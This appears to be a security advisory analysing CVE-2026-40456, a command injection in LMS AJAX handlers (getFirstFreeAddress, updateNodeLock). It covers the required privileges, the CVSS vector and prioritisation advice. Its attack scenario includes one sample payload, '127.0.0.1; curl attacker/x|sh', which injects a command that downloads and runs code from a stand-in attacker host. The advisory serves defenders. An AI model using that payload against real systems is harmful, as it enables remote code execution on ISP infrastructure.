LMS CVE-2026-40456

Exploitation requires an authenticated LMS operator session (CVSS PR:L) with permission to invoke the netdevxajax getFirstFreeAddress or nodexajax updateNodeLock handlers, and network reachability to the LMS web interface from the same adjacent/management network (CVSS AV:A) - typical internet exposure of LMS is uncommon. The vulnerable code path is only triggered when the configured external command ($cmd) is non-empty, meaning a deployment with the ping/lock helper commands enabled in LMS configuration. No user interaction by another victim is needed (UI:N), and pre-patch installs are vulnerable in default code paths whenever those operator features are configured.

The CVSS 4.0 vector AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N indicates an adjacent-network attacker with low privileges (an authenticated LMS operator account) can fully compromise the host running LMS without user interaction, which matches the source-code evidence that the vulnerable handlers are AJAX endpoints reachable only from authenticated UI sessions. There is no EPSS, KEV, or SSVC data in the input, and no public exploit identified at time of analysis, so realistic risk is driven by insider/low-privilege operator abuse and post-authentication lateral movement rather than mass internet exploitation. Note a tension worth flagging: the description says 'attackers' generically while the CVSS vector requires PR:L and AV:A - defenders should treat this as a privileged-operator-to-RCE escalation, not an unauthenticated internet-facing RCE, and prioritize accordingly especially because LMS typically runs with database and shell access on ISP infrastructure.

An attacker with a low-privileged LMS operator account on the management network opens the network-device or node management UI and submits a crafted IP-address field (for example '127.0.0.1; curl attacker/x|sh') to the getFirstFreeAddress or updateNodeLock AJAX endpoint. Because the $ip parameter is concatenated into a shell command and passed to exec() without validation, the injected commands run as the web server user, yielding arbitrary code execution on the LMS host. No public exploit identified at time of analysis, but the patch diff makes the injection point trivially discoverable.